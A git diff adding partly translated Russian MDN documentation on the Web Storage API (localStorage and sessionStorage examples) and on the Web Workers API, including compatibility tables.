+<p>Оба механизма доступны через  {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в броузерах, поддерживающих хранилища объект <code>Window</code>  выполняет объекты <code>WindowLocalStorage</code>и <code>WindowSessionStorage</code>, которые содержат свойства <code>localStorage</code>и <code>sessionStorage</code>) — вызов одного из них создает экземляр объекта Storage, через который можно устанавливать, редактировать и удалять данные. Разные Storage объекты будут использовать <code>sessionStorage</code> и <code>localStorage поэтому они используются и управляются раздельно </code></p>
+
+<p>Так, например, изначально вызов <code>localStorage</code> в документе возвращает {{domxref("Storage")}} объект; вызов <code>sessionStorage</code> в документе возвращает другой {{domxref("Storage")}} объект. Оба объекта могут управляться одинаково, но отдельно.</p>
+
+<h2 id="Функция_обнаружения_localStorage">Функция обнаружения localStorage</h2>
+
+<p>Чтобы использовать localStorage, мы должны сперва проверить, что localStorage поддерживается и доступно в текущем браузере.</p>
+
+<h3 id="Проверка_на_наличие">Проверка на наличие</h3>
+
+<p>Браузеры поддерживаемые localStorage будут иметь свойство localStorage объекта window. Тем не менее по различным причинам, простое утверждение, что это свойство существует, может вызывать исключение. Если localStorage существует это еще не дает гарантии, что оно доступно,  т.к. различные броузеры обладают настройками которые отключают его. Поэтому браузер может поддерживать localStorage, но не делает его доступным для скриптов на странице. Один из таких примеров браузер Safari, который в Private Browsing mode возвращает нам пустой localStorage объект, фактически делая его непригодным для использования . Наша функция должна принимать во внимание этот сценарий. </p>
+
+<p>Функция, которая проверяет браузеры на подержку и доступность localStorage:</p>
+
+<pre class="brush: js notranslate">function storageAvailable(type) {
+	try {
+		var storage = window[type],
+			x = '__storage_test__';
+		storage.setItem(x, x);
+		storage.removeItem(x);
+		return true;
+	}
+	catch(e) {
+		return false;
+	}
+}</pre>
+
+<p>Вот как вы бы могли использовать это:</p>
+
+<pre class="brush: js notranslate">if (storageAvailable('localStorage')) {
+	// Yippee! We can use localStorage awesomeness
+}
+else {
+	// Too bad, no localStorage for us
+}</pre>
+
+<p>Вы можете протестировать sessionStorage вместо этого используйте <code>storageAvailable('sessionStorage')</code>Смотрите здесь <a href="https://gist.github.com/paulirish/5558557">краткую историю функции-обнаружения localStorage</a></p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Чтобы проилюстрировать типичное использование Web storage, мы создали простой пример, назвав его <strong>Web Storage Demo. </strong>На <a href="https://mdn.github.io/dom-examples/web-storage/">целевой странице</a> представлены элементы управления, которые можно использовать для настройки цвета, шрифта и декоративного изображения:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9685/landing.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;">Когда вы выбираете различные опции, страница немедленно перезагружается; в дополнение, ваш выбор сохраняется в localStorage, таким образом когда вы покидаете страницу и загружаете ее снова спустя некоторое время, ваши параметры сохраняются.</p>
+
+<p>Мы также предоставили <a href="https://mdn.github.io/dom-examples/web-storage/event.html">страницу вывода событий</a> - если вы загрузите эту страницу в другой вкладке, затем сделаете некоторые изменения в landing page, вы увидите обновленную информацию о хранилище.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9687/event-output.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;"></p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Помимо просмотра примеров выше, используя приведенные ссылки выше , вы можете также <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">просмотреть исходный код</a>.</p>
+</div>
+
+<h2 id="Проверка_на_заполненность_хранилища">Проверка на заполненность хранилища</h2>
+
+<p>Начнем с main.js, мы проверим был ли уже заполнен объект Storage (т.е страница была ранее доступна)</p>
+
+<pre class="brush: js notranslate">if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+} else {
+  setStyles();
+}
+</pre>
+
+<p>Метод {{domxref("Storage.getItem()")}} используется для получения данных из storage; в этом примере мы проверяем, чтобы увидеть существует ли bgcolor; если нет, мы запускаем <code>populateStorage(), чтобы добавить значение по-умолчанию в storage. Если значения уже есть там, мы запускаем setStyles(), для обновления стиля страница с сохраненными значениями.</code><br>
+ <strong>Примечание</strong>: Вы можете также использовать {{domxref("Storage.length")}} для проверки storage object.</p>
+
+<h2 id="Получение_данных_из_Storage">Получение данных из Storage</h2>
+
+<p>Как было отмечено выше, значения хранилища могут быть извлечены используя {{domxref("Storage.getItem()")}}. В качестве аргумента функция принимает значение ключа элемента хранилища, а возвращает значение этого элемента. Например:</p>
+
+<pre class="brush: js notranslate">function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}</pre>
+
+<p>Первые три строки извлекают значения элементов локального хранилища. Next, we set the values displayed in the form elements to those values, so that they keep in sync when you reload the page. Finally, we update the styles/decorative image on the page, so your customization options come up again on reload.</p>
+
+<h2 id="Setting_values_in_storage">Setting values in storage</h2>
+
+<p>{{domxref("Storage.setItem()")}} is used both to create new data items, and (if the data item already exists) update existing values. This takes two arguments — the key of the data item to create/modify, and the value to store in it.</p>
+
+<pre class="brush: js notranslate">function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+
+  setStyles();
+}</pre>
+
+<p>The <code>populateStorage()</code> function sets three items in local storage — the background color, font, and image path. It then runs the <code>setStyles()</code> function to update the page styles, etc.</p>
+
+<p>We've also included an <code>onchange</code> handler on each form element, so that the data and styling is updated whenever a form value is changed:</p>
+
+<pre class="brush: js notranslate">bgcolorForm.onchange = populateStorage;
+fontForm.onchange = populateStorage;
+imageForm.onchange = populateStorage;</pre>
+
+<h2 id="Responding_to_storage_changes_with_the_StorageEvent">Responding to storage changes with the StorageEvent</h2>
+
+<p>The {{domxref("StorageEvent")}} is fired whenever a change is made to the {{domxref("Storage")}} object. This won't work on the same page that is making the changes — it is really a way for other pages on the domain using the storage to sync any changes that are made. Pages on other domains can't access the same storage objects.</p>
+
+<p>On the events page (see <a href="https://github.com/mdn/web-storage-demo/blob/gh-pages/event.js">events.js</a>) the only JavaScript is as follows:</p>
+
+<pre class="brush: js notranslate">window.addEventListener('storage', function(e) {
+  document.querySelector('.my-key').textContent = e.key;
+  document.querySelector('.my-old').textContent = e.oldValue;
+  document.querySelector('.my-new').textContent = e.newValue;
+  document.querySelector('.my-url').textContent = e.url;
+  document.querySelector('.my-storage').textContent = e.storageArea;
+});</pre>
+
+<p>Here we add an event listener to the <code>window</code> object that fires when the {{domxref("Storage")}} object associated with the current origin is changed. As you can see above, the event object associated with this event has a number of properties containing useful information — the key of the data that changed, the old value before the change, the new value after that change, the URL of the document that changed the storage, and the storage object itself.</p>
+
+<h2 id="Удаление_записанных_данных">Удаление записанных данных</h2>
+
+<p>Web Storage также предоставляет несколько простых методов для удаления данных. Мы не используем эти методы в нашем дема, но они очень простые, чтобы добавить их в проект:</p>
+
+<ul>
+ <li>{{domxref("Storage.removeItem()")}} принимает единственный аргумент - ключ элемента данных, который вы хотите удалить - и удаляет его из объекта хранения для этого домена. </li>
+ <li>{{domxref("Storage.clear()")}} не принимает аргументов, полностью очищает объекта storage  для данного домена.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>All browsers have varying capacity levels for both localStorage and sessionStorage. Here is a <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">detailed rundown of all the storage capacities for various browsers</a>.</p>
+
+<div class="note">
+<p><strong>Note: </strong>since iOS 5.1, Safari Mobile stores localStorage data in the cache folder, which is subject to occasional clean up, at the behest of the OS, typically if space is short.</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API landing page</a></li>
+</ul>
diff --git a/files/ru/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html b/files/ru/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html
new file mode 100644
index 0000000000..239552d698
--- /dev/null
+++ b/files/ru/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html
@@ -0,0 +1,345 @@
+---
+title: Функции и классы доступные для Web Workers
+slug: Web/API/Web_Workers_API/Functions_and_classes_available_to_workers
+translation_of: Web/API/Web_Workers_API/Functions_and_classes_available_to_workers
+---
+<p>In addition to the standard <a href="/en-US/docs/Web/JavaScript">JavaScript</a> set of functions (such as {{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("Object")}}, {{jsxref("JSON")}} etc), there are a variety of functions available from the DOM to workers. This article provides a list of those.</p>
+
+<p><strong>Workers run in another global context, {{domxref("DedicatedWorkerGlobalScope")}} different from the current window</strong>. By default methods and properties of {{domxref("Window")}} are not available to them, but {{domxref("DedicatedWorkerGlobalScope")}}, like <code>Window</code>, implements {{domxref("WindowTimers")}} and {{domxref("WindowBase64")}}.</p>
+
+<h2 id="Сравнение_свойств_и_методов_различных_типов_worker'ов">Сравнение свойств и методов различных типов worker'ов</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Функция</td>
+   <td class="header">Выделенные worker'ы</td>
+   <td class="header">Общие worker'ы</td>
+   <td class="header">Сервис worker'ы</td>
+   <td class="header">Chrome worker'ы {{Non-standard_inline}}</td>
+   <td class="header">Внешние worker'ы</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WindowBase64.atob", "atob()")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WindowBase64.btoa", "btoa()")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WindowTimers.clearInterval", "clearInterval()")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WindowTimers.clearTimeout", "clearTimeout()")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Window.dump()", "dump()")}} {{non-standard_inline}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WindowTimers.setInterval", "setInterval()")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WindowTimers.setTimeout", "setTimeout()")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WorkerGlobalScope.importScripts", "importScripts()")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>no</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WorkerGlobalScope.close", "close()")}} {{non-standard_inline}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, but is a no-op.</td>
+   <td>Unknown</td>
+   <td>no</td>
+  </tr>
+  <tr>
+   <td>{{domxref("DedicatedWorkerGlobalScope.postMessage", "postMessage()")}}</td>
+   <td>yes, on {{domxref("DedicatedWorkerGlobalScope")}}</td>
+   <td>no</td>
+   <td>no</td>
+   <td>Unknown</td>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступное_worker'ам_API">Доступное worker'ам API</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Функция</td>
+   <td class="header">Функционал</td>
+   <td class="header">Поддержка Gecko (Firefox)</td>
+   <td class="header">Поддержка IE</td>
+   <td class="header">Поддержка Blink (Chrome and Opera)</td>
+   <td class="header">Поддержка WebKit (Safari)</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Broadcast_Channel_API","Broadcast Channel API")}}</td>
+   <td>Allows simple communication between {{glossary("browsing context", "browsing contexts")}} (that is <em>windows</em>, <em>tabs</em>, <em>frames</em>, or <em>iframes</em>) with the same {{glossary("origin")}} (usually pages from the same site).</td>
+   <td>{{ CompatGeckoDesktop(38)}}</td>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{CompatNo}}</span></td>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{CompatNo}}</span></td>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{CompatNo}}</span></td>
+  </tr>
+  <tr>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{domxref("Cache", "Cache")}}</span></td>
+   <td>Cache API<span style="background-color: rgba(212, 221, 228, 0.14902);"> provides the ability to programmatically</span> control cache storage associated with current origin.</td>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{CompatVersionUnknown}}</span></td>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{CompatNo}}</span></td>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{ CompatChrome(43) }}</span></td>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{CompatUnknown}}</span></td>
+  </tr>
+  <tr>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{domxref("Channel_Messaging_API", "Channel Messaging API")}}</span></td>
+   <td>Allows two separate scripts running in different browsing contexts attached to the same document (e.g., two IFrames, or the main document and an IFrame, two documents via a {{domxref("SharedWorker")}}, or two workers) to communicate directly via two ports.</td>
+   <td>{{ CompatGeckoDesktop(41)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{domxref("Console", "Console API")}}</span></td>
+   <td>Provides access to the browser's debugging console (e.g., the <a href="/en-US/docs/Tools/Web_Console">Web Console</a> in Firefox). The specifics of how it works vary from browser to browser, but there is a <em>de facto</em> set of features that are typically provided.</td>
+   <td>{{ CompatGeckoDesktop(38)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{domxref("CustomEvent")}}</span></td>
+   <td>The <strong><code>CustomEvent</code></strong> interface represents events initialized by an application for any purpose.</td>
+   <td>{{ CompatGeckoDesktop(48)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Data_Store_API", "Data Store")}}</td>
+   <td>A powerful, flexible storage mechanism for multiple Firefox OS applications to use to store and share data between one another quickly, efficiently, and securely.</td>
+   <td>Only in Firefox OS internal (certified) applications, since v1.0.1.</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("DOMRequest")}} and {{domxref("DOMCursor")}}</td>
+   <td>Respectively, these objects represents an ongoing operation (with listeners for reacting to the operation completely successfully, or failing, for example), and an ongoing operation over a list of results.</td>
+   <td>{{ CompatGeckoDesktop(41)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Fetch_API", "Fetch")}}</td>
+   <td>The Fetch spec provides an up-to-date definition of, and API for, fetching resources (e.g. across the network.)</td>
+   <td>Mostly in {{ CompatGeckoDesktop(34)}} behind pref, although a few features are later.</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatChrome(42) }}<br>
+    {{ CompatChrome(41) }} behind pref</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("FileReader")}}</td>
+   <td>This API allows asynchronous read of {{domxref("Blob")}} and {{domxref("File")}} objects.</td>
+   <td>{{CompatGeckoDesktop(46)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("FileReaderSync")}}</td>
+   <td>This API allows synchronous read of {{domxref("Blob")}} and {{domxref("File")}} objects. This is an API that works only in workers.</td>
+   <td>{{CompatGeckoDesktop(8)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("FormData")}}</td>
+   <td><code>FormData</code> objects provide a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the XMLHttpRequest <a href="/en-US/docs/DOM/XMLHttpRequest#send()" title="XMLHttpRequest#send()"><code>send()</code></a> method.</td>
+   <td>{{CompatUnknown}} (should be in {{CompatGeckoDesktop(39)}})</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("ImageData")}}</td>
+   <td>The underlying pixel data of an area of a {{domxref("canvas")}} element. Manipulating such data can be a complex task better suited to be delegated to a Web Worker.</td>
+   <td>{{CompatGeckoDesktop(25)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("IndexedDB_API", "IndexedDB")}}</td>
+   <td>Database to store records holding simple values and hierarchical objects.</td>
+   <td>{{CompatGeckoDesktop(37)}},  {{CompatGeckoDesktop(42)}} for {{domxref("IDBCursorWithValue")}}.</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Notifications_API", "Notifications")}}</td>
+   <td>Allows web pages to control the display of system notifications to the end user</td>
+   <td>{{CompatGeckoDesktop(41)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Performance")}}</td>
+   <td>The <strong><code>Performance</code></strong> interface represents timing-related performance information for the given page.</td>
+   <td>{{ CompatGeckoDesktop("34.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatChrome("33.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Promise")}}</td>
+   <td>JavaScript objects that allow you to write asynchronous functions.</td>
+   <td>{{CompatGeckoDesktop(28)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("ServiceWorkerRegistration")}}</td>
+   <td>You can register a service worker from inside a standard worker, and use associated functionality.</td>
+   <td>{{CompatGeckoDesktop(40)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("TextEncoder")}} and {{domxref("TextDecoder")}}</td>
+   <td>Create and return a new {{domxref("TextEncoder")}}, or respectively {{domxref("TextDecoder")}}, allowing to encode or decode strings into specific encodings.</td>
+   <td>{{CompatGeckoDesktop(20)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("URL") }}</td>
+   <td>Workers can use the static methods <a href="/en-US/docs/DOM/window.URL.createObjectURL" title="/en-US/docs/DOM/window.URL.createObjectURL">URL.createObjectURL</a> and <a href="/en-US/docs/DOM/window.URL.revokeObjectURL" title="/en-US/docs/DOM/window.URL.revokeObjectURL">URL.revokeObjectURL</a> with {{domxref("Blob")}} objects accesible to the worker.<br>
+    Workers can also create a new URL using the {{domxref("URL.URL", "URL()")}} constructor and call any normal method on the returned object.</td>
+   <td>{{CompatGeckoDesktop(21)}} and {{CompatGeckoDesktop(26)}} for URL() constructor</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/WebGL_API">WebGL</a> with {{domxref("OffscreenCanvas")}}</td>
+   <td>WebGL (Web Graphics Library) is a JavaScript API for rendering interactive 3D and 2D graphics within any compatible web browser without the use of plug-ins.</td>
+   <td>{{CompatGeckoDesktop(44)}} behind a feature preference setting. In <code>about:config</code>, set <code>gfx.offscreencanvas.enabled</code> to true.</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WebSocket")}}</td>
+   <td>Creates and returns a new {{domxref("WebSocket")}}  object; this mimics the behavior of the standard <code>WebSocket()</code> constructor.</td>
+   <td>{{CompatGeckoDesktop(37)}}</td>
+   <td>11.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Worker")}}</td>
+   <td>Creates a new {{ domxref("Worker") }}. Yes, workers can spawn more workers.</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10.0</td>
+   <td>{{CompatNo}} See <a class="external" href="https://code.google.com/p/chromium/issues/detail?id=31666" rel="external" title="http://code.google.com/p/chromium/issues/detail?id=31666">crbug.com/31666</a></td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WorkerGlobalScope")}}</td>
+   <td>The global scope of workers. This objects defines <a href="#workerscope">worker-specific functions</a>.</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WorkerLocation")}}</td>
+   <td>The subset of the {{domxref("Location")}} interface available to workers.</td>
+   <td>{{CompatGeckoDesktop(1.9.2)}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WorkerNavigator")}}</td>
+   <td>The subset of the {{domxref("Navigator")}} interface available to workers.</td>
+   <td>Basic implementation {{CompatVersionUnknown}}<br>
+    {{domxref("NavigatorID.appCodeName", "appCodeName")}}, {{domxref("NavigatorID.product", "product")}}, {{domxref("NavigatorID.taintEnabled", "taintEnabled()")}}: {{CompatGeckoDesktop(28)}}<br>
+    {{domxref("WorkerNavigator.onLine", "onLine")}}: {{CompatGeckoDesktop(29)}}<br>
+    {{domxref("NavigatorLanguage")}}: {{CompatVersionUnknown}}</td>
+   <td>{{domxref("NavigatorID.appName", "appName")}}, {{domxref("NavigatorID.appVersion", "appVersion")}}, {{domxref("WorkerNavigator.onLine", "onLine")}}, {{domxref("NavigatorID.platform", "platform")}}, {{domxref("NavigatorID.userAgent", "userAgent")}}: 10.0<br>
+    Other: {{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("XMLHttpRequest")}}</td>
+   <td>Creates and returns a new {{domxref("XMLHttpRequest")}}  object; this mimics the behavior of the standard <code>XMLHttpRequest()</code> constructor. Note that the <code>responseXML</code> and <code>channel</code> attributes on <code>XMLHttpRequest</code> always return <code>null</code>.</td>
+   <td>
+    <p>Basic: {{CompatGeckoDesktop("1.9.1")}}</p>
+
+    <p>{{domxref("XMLHttpRequest.response", "response")}} and {{domxref("XMLHttpRequest.responseType", "responseType")}} are available since {{CompatGeckoDesktop("10")}}</p>
+
+    <p>{{domxref("XMLHttpRequest.timeout", "timeout")}} and {{domxref("XMLHttpRequest.ontimeout", "ontimeout")}} are available since {{CompatGeckoDesktop("13")}}</p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using web workers</a></li>
+ <li>{{domxref("Worker")}}</li>
+</ul>
diff --git a/files/ru/web/api/web_workers_api/index.html b/files/ru/web/api/web_workers_api/index.html
new file mode 100644
index 0000000000..706dab35cb
--- /dev/null
+++ b/files/ru/web/api/web_workers_api/index.html
@@ -0,0 +1,223 @@
+---
+title: Web Workers API
+slug: Web/API/Web_Workers_API
+tags:
+  - API
+  - NeedsTranslation
+  - Service Workers
+  - Shared Workers
+  - TopicStub
+  - Web Workers
+  - Workers
+translation_of: Web/API/Web_Workers_API
+---
+<p>{{DefaultAPISidebar("Web Workers API")}}</p>
+
+<p class="summary"><strong>Web Workers</strong> это механизм, который позволяет скрипту выполняться в фоновом потоке, который отделен от основного потока веб-приложения. <span id="result_box" lang="ru"><span>Преимущество заключается в том, ресурсоёмкие вычисления могут выполняться в отдельном потоке, позволяя запустить основной (обычно пользовательский) поток без блокировки и замедления</span></span>.</p>
+
+<h2 id="Концепции_и_использование_Web_воркеров">Концепции и использование Web воркеров</h2>
+
+<p>Worker (работник, воркер)  - это объект созданный при помощи конструктора (например, {{domxref("Worker.Worker", "Worker()")}}), <span id="result_box" lang="ru"><span>который запускает именованный файл JavaScript - этот файл содержит код, который будет запускаться в потоке воркера;</span></span> воркеры запускаются в другом глобальном контексте отличном от текущего контекста {{domxref("window")}}. Этот контекст представлен объектом {{domxref("DedicatedWorkerGlobalScope")}} <span id="result_box" lang="ru"><span>в случае специализированных воркеров (стандартные воркеры, которые используются одним скриптом, общие воркеры используют</span></span> {{domxref("SharedWorkerGlobalScope")}}).</p>
+
